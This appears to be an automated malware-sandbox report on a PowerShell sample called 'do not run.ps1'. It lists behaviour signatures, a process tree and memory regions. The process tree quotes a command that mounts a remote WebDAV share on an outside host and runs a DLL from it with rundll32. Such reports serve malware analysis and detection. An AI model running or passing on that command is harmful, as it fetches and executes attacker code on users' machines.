Analysis

  • user interaction
    yes
  • max time kernel
    116s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/06/2026, 00:58

General

  • Target
    do not run.ps1
  • Size 1KB
  • Sample260625-bbtkzsgw9t
  • SHA256 8b9d81ad70f1e89042a72f0a6250a9f62ba2c2f9edaf02d0fd38f743bc718b1c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 55 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\do not run.ps1"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4572
  • C:\Windows\system32\cmd.exe
    cmd /c pushd \\euphemism.1xfa.xyz@SSL\2ffc4ddb-7b9c-44cb-b774-bf347ec8c2d2 & rundll32 pf.ch,#1
    1⤵
    • Process spawned unexpected child process
    • Enumerates connected drives
    • Suspicious use of WriteProcessMemory
    PID:3592
    • C:\Windows\System32\rundll32.exe
      rundll32 pf.ch,#1
      2⤵
        PID:712
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:256
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:1980
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4560
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:2652

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          prep_Activatable Class_Hermes_perf.cache

          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 599B
          • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
          • MD5 SHA1 SHA512 TLSH

          memory/2652-197-0x000001B6433C0000-0x000001B643A51000-memory.dmp

          memory/4560-19-0x0000021D801E0000-0x0000021D802E0000-memory.dmp

          memory/4560-44-0x0000021D83C70000-0x0000021D83C90000-memory.dmp

          memory/4560-29-0x0000021D83E30000-0x0000021D83F30000-memory.dmp

          memory/4560-63-0x0000021D941F0000-0x0000021D94210000-memory.dmp

          memory/4560-27-0x0000021D83910000-0x0000021D83930000-memory.dmp

          memory/4560-17-0x0000021D801E0000-0x0000021D802E0000-memory.dmp

          memory/4560-18-0x0000021D801E0000-0x0000021D802E0000-memory.dmp

          memory/4572-7-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-12-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-14-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-15-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-11-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-10-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-9-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-8-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-0-0x00007FFE3314F000-0x00007FFE33150000-memory.dmp

          memory/4572-6-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-5-0x0000019DDCF70000-0x0000019DDCF92000-memory.dmp

          memory/4572-2-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp

          memory/4572-1-0x00007FFE32FC0000-0x00007FFE33964000-memory.dmp